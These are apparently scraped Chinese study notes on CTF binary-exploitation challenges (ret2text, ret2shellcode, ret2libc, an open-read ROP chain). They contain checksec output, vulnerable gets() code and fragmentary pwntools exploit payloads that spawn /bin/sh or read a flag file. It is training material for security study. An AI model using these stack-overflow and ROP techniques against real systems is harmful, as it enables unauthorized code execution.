# 遇到报错 pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/home/philo/.local/lib/python3.8/site-packages/ROPGadget-7.3.dist-info'
~> checksec --file=ret2text RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No 0 2 ret2text
setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(s); printf("Maybe I will tell you next time !"); return0; }
Traceback (most recent calllast): File "payload.py", line6, in <module> sh.sendline('A' * (0x6c+4) + p32(target)) TypeError: can only concatenate str (not "bytes") to str
需要使用b'A'而不是'A'
ret2shellcode
1 2 3 4 5 6
~> file ret2shellcode ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped
~> checksec --file=ret2shellcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 79 Symbols No 0 3 ret2shellcode
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(s); strncpy(buf2, s, 0x64u); printf("bye bye ~"); return0;
构造exp
1 2 3 4 5 6 7 8 9 10
#!/usr/bin/python3
from pwn import *
sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) #生成shellcode buf2_addr = 0x804a080#将返回地址覆盖为buf2的地址
~$ checksec --file=ret2libc1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 1 ret2libc1
$ file ret2libc1 ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
~> checksec --file=ret2libc2 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 2 ret2libc2
~> file ret2libc2 ret2libc2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped
setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("Something surprise here, but I don't think it will work."); printf("What do you think ?"); gets(s); return0; }
可以看到有system函数
1
_system .plt 08048490000000060000000000000004 R . . . . . T .
libc_base = puts_addr - libc.dump('puts') # get libc base system_addr = libc_base + libc.dump('system') # get system addr binsh_addr = libc_base + libc.dump('str_bin_sh') # get /bin/sh addr
#gdb.attach(sh) #104 is offset and is hard to get payload = b'a' * (104) + p32(system_addr) + p32(0xaaaa) + p32(binsh_addr) sh.sendlineafter("Can you find it !?", payload)
payload='a'*0x100+p64(0)+p64(ret) payload+=p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(0)+p64(sys_open)+p64(vul) # open flag file
#gdb.attach(p) #pause()
p.send(payload)
payload='a'*0x100+p64(0)+p64(ret) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x20)+p64(0)+p64(read_plt) # read flag content to bss+0x20 payload+=p64(vul)